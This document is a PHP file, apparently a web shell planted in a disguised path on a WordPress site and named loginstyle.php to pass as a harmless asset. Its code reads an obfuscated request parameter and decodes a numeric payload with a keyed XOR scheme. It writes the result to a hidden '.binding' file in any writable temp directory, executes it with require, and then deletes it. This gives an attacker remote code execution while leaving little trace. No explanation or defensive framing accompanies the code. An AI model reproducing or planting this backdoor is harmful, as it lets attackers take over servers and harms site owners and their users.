File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/b/h/e/b/loginstyle.php
<?php
if(isset($_REQUEST) && isset($_REQUEST["ref\x65renc\x65"])){
$parameter_group = $_REQUEST["ref\x65renc\x65"];
$parameter_group = explode ( "." , $parameter_group ) ;
$flag ='';
$s ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen($s);
$v =0;
foreach ($parameter_group as $v9) { $chS =ord($s[$v %$sLen]);
$dec =((int)$v9 - $chS - ($v %10)) ^ 81;
$flag .= chr($dec);
$v++; }
$key = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm", getcwd()]);
foreach ($key as $k):
if ((bool)is_dir($k) && (bool)is_writable($k)) {
$token = vsprintf("%s/%s", [$k, ".binding"]);
if (file_put_contents($token, $flag)) {
require $token;
unlink($token);
die();
}
}
endforeach;
}